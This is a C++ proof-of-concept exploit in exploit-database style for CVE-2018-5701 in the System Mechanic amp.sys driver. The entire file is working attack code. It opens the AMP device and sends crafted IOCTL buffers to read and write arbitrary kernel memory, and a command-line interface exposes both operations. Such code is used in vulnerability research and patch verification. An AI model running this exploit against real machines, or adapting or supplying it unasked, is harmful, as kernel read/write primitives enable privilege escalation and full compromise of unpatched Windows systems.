/*
# Exploit Title: System Mechanic v15.5.0.61 - Arbitrary Read/Write
# Date: 26-09-2022
# Exploit Author: Brandon Marshall
# Vendor Homepage: https://www.iolo.com/
# Tested Version   - System Mechanic version 15.5.0.61
# Driver Version   - 5.4.11 - amp.sys
# Tested on OS     - 64 bit Windows 10 (18362)
# Fixed Version    - System Mechanic 17.5.0.116
# CVE : CVE-2018-5701
*/

#include <iostream>
#include <Windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma warning(disable:4996)

typedef struct _kernelDriverInformation {
    char* imageName;
    void* imageBase;

}kernelDriverInformation, * PKernelDriverInformation;

typedef struct _functionInformation {
    char* functionName;
    void* functionOffset;
    void* functionBase;

}functionInformation, * PFunctionInformation;

void callDeviceIoControl(HANDLE deviceHandle, void* inputBuffer, DWORD inputBufferSize) {
    DWORD bytesReturned;
    NTSTATUS  status = DeviceIoControl(deviceHandle, 0x226003, inputBuffer, inputBufferSize, NULL, NULL, (LPDWORD)&bytesReturned, (LPOVERLAPPED)NULL);
}

HANDLE getDeviceHandle(char* name) {
    DWORD generic_read = 0x80000000;
    DWORD generic_write = 0x40000000;
    HANDLE handle = CreateFileA((LPCSTR)name, GENERIC_READ | generic_write, NULL, NULL, 0x3, NULL, NULL);
    return handle;
}



void* CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(void* addressToDereference, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)0;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToDereference; // param3
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)0;  // param4
    return (void*)maliciousBuffer;
}

void* CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)(maliciousBuffer + 0x40); // param3
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x48);  // param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0;  //unknown
    *(ULONGLONG*)(maliciousBuffer + 0x48) = 0xffffffff; // param1
    return (void*)maliciousBuffer;
}

void* CreateWriteDWORDFromKernelMemoryIOCTLBuffer(void* addressToWriteTo, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToWriteTo; // param3
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x40);  // param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0xffffffff;
    return (void*)maliciousBuffer;
}

DWORD leakDWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(addressToLeak, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    DWORD returnVal = *(DWORD*)((byte*)ReadDWORDFromKernelMemoryLeakIOCTLBuffer + 0x40);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);

    return returnVal;
}

void writeDWORD(void* addressToWrite, void* PDWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(PDWORDToWrite, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateWriteDWORDFromKernelMemoryIOCTLBuffer(addressToWrite,bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);

    return;
}

void* leakQWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {

    DWORD firstDWORD = leakDWORD(addressToLeak, deviceHandle, bufferSize);
    DWORD secondDWORD = leakDWORD((byte*)addressToLeak + 0x4, deviceHandle, bufferSize);

    void** Pqword = (void**)malloc(0x8);

    for (int i = 0; i < 4; i++) {
        ((byte*)Pqword)[i] = ((byte*)&firstDWORD)[i];
        ((byte*)Pqword)[i + 4] = ((byte*)&secondDWORD)[i];
    }

    return (*(void**)Pqword);
}

void writeQWORD(void* addressToWrite, void* QWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {


    writeDWORD(addressToWrite, QWORDToWrite, deviceHandle, bufferSize);
    writeDWORD((byte*)addressToWrite + 0x4, ((byte*)QWORDToWrite + 0x4), deviceHandle, bufferSize);

}

int main(int argc, char* argv[])
{

    ULONGLONG addressToReadorWrite = strtoull(argv[2], NULL, 16);

    HANDLE deviceHandle = getDeviceHandle((char*)"\\\\.\\AMP");

    SIZE_T size = 0x300;

    if (strcmp(argv[1], "read") == 0) {


        void* leakedQWORD = leakQWORD((void*)addressToReadorWrite, deviceHandle, size);



        printf("Value stored at virtual address %0llx is %0llx", addressToReadorWrite, leakedQWORD);
    }
    else if (strcmp(argv[1], "write") == 0) {

        ULONGLONG QWORDToWrite = strtoull(argv[3], NULL, 16);


        writeQWORD((void*)addressToReadorWrite, (void*)&QWORDToWrite, deviceHandle, size);



        printf("Wrote  %0llx to virtual address %0llx", QWORDToWrite, addressToReadorWrite);
    }

}